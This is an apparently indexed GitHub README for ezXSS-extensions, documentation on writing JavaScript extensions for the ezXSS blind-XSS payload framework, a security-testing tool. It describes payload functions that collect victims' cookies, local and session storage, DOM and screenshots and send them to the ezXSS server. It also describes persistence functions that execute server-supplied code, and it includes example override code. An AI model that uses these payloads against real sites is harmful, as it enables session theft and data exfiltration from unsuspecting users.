{"id":28394620,"url":"https://github.com/ssl/ezxss-extensions","last_synced_at":"2025-06-27T00:31:17.639Z","repository":{"id":296216600,"uuid":"992631852","full_name":"ssl/ezXSS-extensions","owner":"ssl","description":"Some examples and documentation on how to create extensions for ezXSS","archived":false,"fork":false,"pushed_at":"2025-05-31T09:40:49.000Z","size":20,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-06-07T18:49:30.838Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ssl.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-05-29T13:17:43.000Z","updated_at":"2025-05-31T09:40:52.000Z","dependencies_parsed_at":"2025-05-29T15:18:42.568Z","dependency_job_id":null,"html_url":"https://github.com/ssl/ezXSS-extensions","commit_stats":null,"previous_names":["ssl/ezxss-extensions"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/ssl/ezXSS-extensions","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ssl%2FezXSS-extensions","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ssl%2FezXSS-extensions/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ssl%2FezXSS-extensions/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ssl%2FezXSS-extensions/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ssl","download_url":"https://codeload.github.com/ssl/ezXSS-extensions/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ssl%2FezXSS-extensions/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":262166144,"owners_count":23268989,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-05-31T18:37:56.144Z","updated_at":"2025-06-27T00:31:17.631Z","avatar_url":"https://github.com/ssl.png","language":"JavaScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# ezXSS-extensions\n\nThis repository contains examples and documentation for creating extensions for [ezXSS](https://github.com/ssl/ezXSS). Extensions allow you to customize and extend the functionality of ezXSS payloads, enabling you to add new features or modify existing behaviors. Extensions are available starting from ezXSS version 4.3.\n\n---\n\n## What are ezXSS Extensions?\n\nezXSS extensions are JavaScript files that can be loaded into ezXSS payloads to modify or extend their behavior. They are inserted **after** all current functions in the payload, allowing you to override existing functions or add new ones.\n\nExtensions are useful for:\n- Adding custom data to reports\n- Modifying how data is collected or sent\n- Implementing new features not present in the default payload\n- Sharing reusable code across multiple payloads\n\n---\n\n## Installing Extensions\n\nThere are multiple ways to install extensions in ezXSS:\n\n| Method | Description | Details |\n|--------|-------------|---------|\n| **Public GitHub Repo** | Point ezXSS to a public GitHub repository | Install all `.js` extension files from the repository |\n| **GitHub Blob URL** | Use a direct blob URL from a public GitHub repository | Install a single `.js` extension file via direct link |\n| **GitHub Gist** | Use a public or private Gist | Single `.js` extension file per Gist |\n| **ezXSS Panel** | Create and add custom extension directly | Manage extensions through the ezXSS management panel |\n\nOnce installed, extensions can be enabled or disabled for specific payloads. You can manually check for updates in the ezXSS panel, view the differences between versions, and accept updates if desired.\n\n---\n\n## How to Create an Extension\n\nEvery extension must start with a specific comment block that provides metadata about the extension. This is crucial for ezXSS to recognize and load the extension properly.\n\n### Required Header\n\n```javascript\n// \u003cezXSS extension\u003e\n// @name              My First Extension\n// @description       This is my first extension\n// @author            Your Name\n// @version           1.0\n// \u003c/ezXSS extension\u003e\n```\n\n- **`@name`**: The name of your extension.\n- **`@description`**: A brief description of what the extension does.\n- **`@author`**: Your name or handle.\n- **`@version`**: The version number of your extension.\n\nIf this header is missing or incorrect, the extension will not load.\n\n### Writing Your Extension Code\n\nAfter the header, you can write your JavaScript code. This code can:\n- Add new functions\n- Override existing functions from the default payload\n- Include additional custom data fields in reports\n\n#### Example: Adding Custom Data to Reports\n\n```javascript\n// \u003cezXSS extension\u003e\n// @name              Platform Info\n// @description       Adds the user's platform to the report\n// @author            ssl\n// @version           1.0\n// \u003c/ezXSS extension\u003e\n\nez_a({\"platform\": window.navigator.platform});\n```\n\nThis simple extension adds the user's platform information in a custom `platform` field via the `ez_a` function.\n\n#### Example: Overriding a Default Function\n\nYou can override any of the default functions to change their behavior. For instance, to modify how the DOM is collected:\n\n```javascript\n// \u003cezXSS extension\u003e\n// @name              Custom DOM Collector\n// @description       Collects only the body HTML instead of the full document\n// @author            ssl\n// @version           1.0\n// \u003c/ezXSS extension\u003e\n\nfunction ez_hL() {\n    // Override the default ez_hL function\n    try {\n        ez_rD.dom = ez_n(document.body.outerHTML);\n    } catch (e) {\n        ez_rD.dom = \"\";\n    }\n    // Call other necessary functions\n    ez_s();\n    ez_nW();\n    ez_cb(ez_rD, ez_dr2);\n    ez_cp();\n    ez_p();\n}\n```\n\n## Understanding Payload Functions\n\nThe ezXSS payload consists of several functions that handle data collection, sending reports, and optional persistence. Below are tables describing the functions included in the default payload and those added when persistence is enabled.\n\n### Default Payload Functions\n\nThe default payload includes the following functions:\n\n| Function Name      | Description                                                                 |\n|--------------------|-----------------------------------------------------------------------------|\n| `ez_n(e)`          | Returns the value of `e` if defined, otherwise an empty string.             |\n| `ez_cb(e, t, o)`   | Sends collected data to the ezXSS server via POST.                          |\n| `ez_hL()`          | Collects data and initiates the sending process.                            |\n| `ez_p()`           | Handles persistence if enabled.                                             |\n| `ez_s()`           | Sets fields to \"Not collected\" based on config.                             |\n| `ez_cp()`          | Collects additional specified pages.                                        |\n| `ez_as()`          | Implements spider functionality for linked pages.                           |\n| `ez_dc(e)`         | Fetches and collects data from a URL.                                       |\n| `ez_se(e)`         | Serializes the data object for sending.                                     |\n| `ez_e()`           | Executes custom JS (pre-callback).                                          |\n| `ez_l()`           | Executes global JS (pre-callback).                                          |\n| `ez_y()`           | Executes custom JS (post-callback).                                         |\n| `ez_esa()`         | Executes global JS (post-callback).                                         |\n| `ez_aE(t, e, n)`   | Attaches events cross-browser.                                              |\n| `ez_nW()`          | Executes custom and global JS before sending.                               |\n| `ez_dr2(z)`        | Executes JS after the report is sent.                                       |\n| `ez_a(k,v)`        | Adds data to the extra field without overwriting existing data.             |\n\n### Persist Functions\n\nWhen the persistence feature is enabled, additional functions are included in the payload to maintain a connection with the server and handle navigation without reloading the page. These functions are:\n\n| Function Name      | Description                                                                 |\n|--------------------|-----------------------------------------------------------------------------|\n| `ez_pin()`         | Sends a ping to the server with collected data every 10 seconds if active.  |\n| `ez_stp()`         | Starts the interval for pinging if not already running.                     |\n| `ez_eva(input)`    | Evaluates and executes input received from the server.                      |\n| `eze_ini()`        | Initializes the payload, collects initial data, and sets up WebSocket if available. |\n| `ez_persist()`     | Starts persistence by calling `eze_ini()` and `ez_pin()`.                   |\n| `ez_stop()`        | Stops the persistence mechanism by setting an exit flag.                    |\n| `ez_queue()`       | Manages a queue of requests to be sent to the server via WebSocket.         |\n| `ez_dol(e, t, n)`  | Loads new content into the page, updates history, and executes scripts.     |\n| `ez_hac(e)`        | Intercepts anchor clicks to handle same-domain navigation without reload.   |\n| `ez_hab(e)`        | Tracks button clicks within forms for submission handling.                  |\n| `ez_hap(e)`        | Handles popstate events to restore page state during navigation.            |\n| `ez_fet(e, t, n)`  | Fetches data from a URL using XMLHttpRequest, supports async or sync calls. |\n| `ez_soc(e, t)`     | Establishes and manages a WebSocket connection for real-time communication. |\n| `ra_fl(e, t)`      | Formats log messages with a timestamp and log level.                        |\n| `ra_wc(e, t)`      | Wraps console methods to capture logs.                                      |\n| `ra_client()`      | Generates or retrieves a unique client ID.                                  |\n| `ra_hL()`          | Collects data for the initial report.                                       |\n| `ra_seh()`         | Sets up event handlers for navigation.                                      |\n| `ra_li(e)`         | Handles link clicks for same-domain navigation.                             |\n| `ra_fo(e)`         | Handles form submissions for same-domain actions.                           |\n| `ra_r()`           | Registers event listeners for navigation and forms.                         |\n\n---\n\n#### The ez_rD Object\n\nThe `ez_rD` object stores all report data. Default fields include: `uri`, `cookies`, `referer`, `user-agent`, `origin`, `localstorage`, `sessionstorage`, `dom`, `payload`, and `screenshot`.\n\n**Adding Custom Data:**\nUse the `.extra` property to add custom fields:\n\n```javascript\n// Object format - creates separate fields\nez_rD.extra = {\"platform\": navigator.platform, \"language\": navigator.language};\n\n// String format - creates single 'extra' field  \nez_rD.extra = \"Custom message\";\n```\n\n#### The ez_a(k,v) Function\n\nUse `ez_a()` to add data safely without overwriting existing extra fields (from other extensions):\n\n```javascript\n// Object format\nez_a({\"key\": \"value\", \"another_key\": \"another_value\"});\n\n// Key-value format\nez_a(\"key\", \"value\");\n```\n\n\u003e Multiple extensions can safely use `ez_a()` without conflicts.\n\n---\n\n## Example Extensions\n\nThis repository includes several example extensions to help you get started:\n\n1. **`platform-info.js`**: Collects basic browser information\n2. **`enhanced-platform-info.js`**: System and browser platform info with fingerprinting\n3. **`custom-dom-collector.js`**: Modifies the DOM collection to only include the body HTML.\n4. **`alert-on-load.js`**: Displays an alert when the payload is loaded (for testing).\n5. **`security-scanner.js`**: Security analysis including headers, CSP, cookies, secrets and vulnerability detection\n\nFeel free to use these examples as templates for your own extensions.\n\n---\n\n## Create and Share Your Own Extensions\n\nCreate your own extensions and share them on GitHub. Extensions can enhance the functionality of ezXSS for various use cases, and sharing them helps the community grow.\n\nIf you'd like to have your extension listed here, you can submit a pull request to add it to the list below.\n\n**Community Extensions:**\n- (None yet)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fssl%2Fezxss-extensions","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fssl%2Fezxss-extensions","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fssl%2Fezxss-extensions/lists"}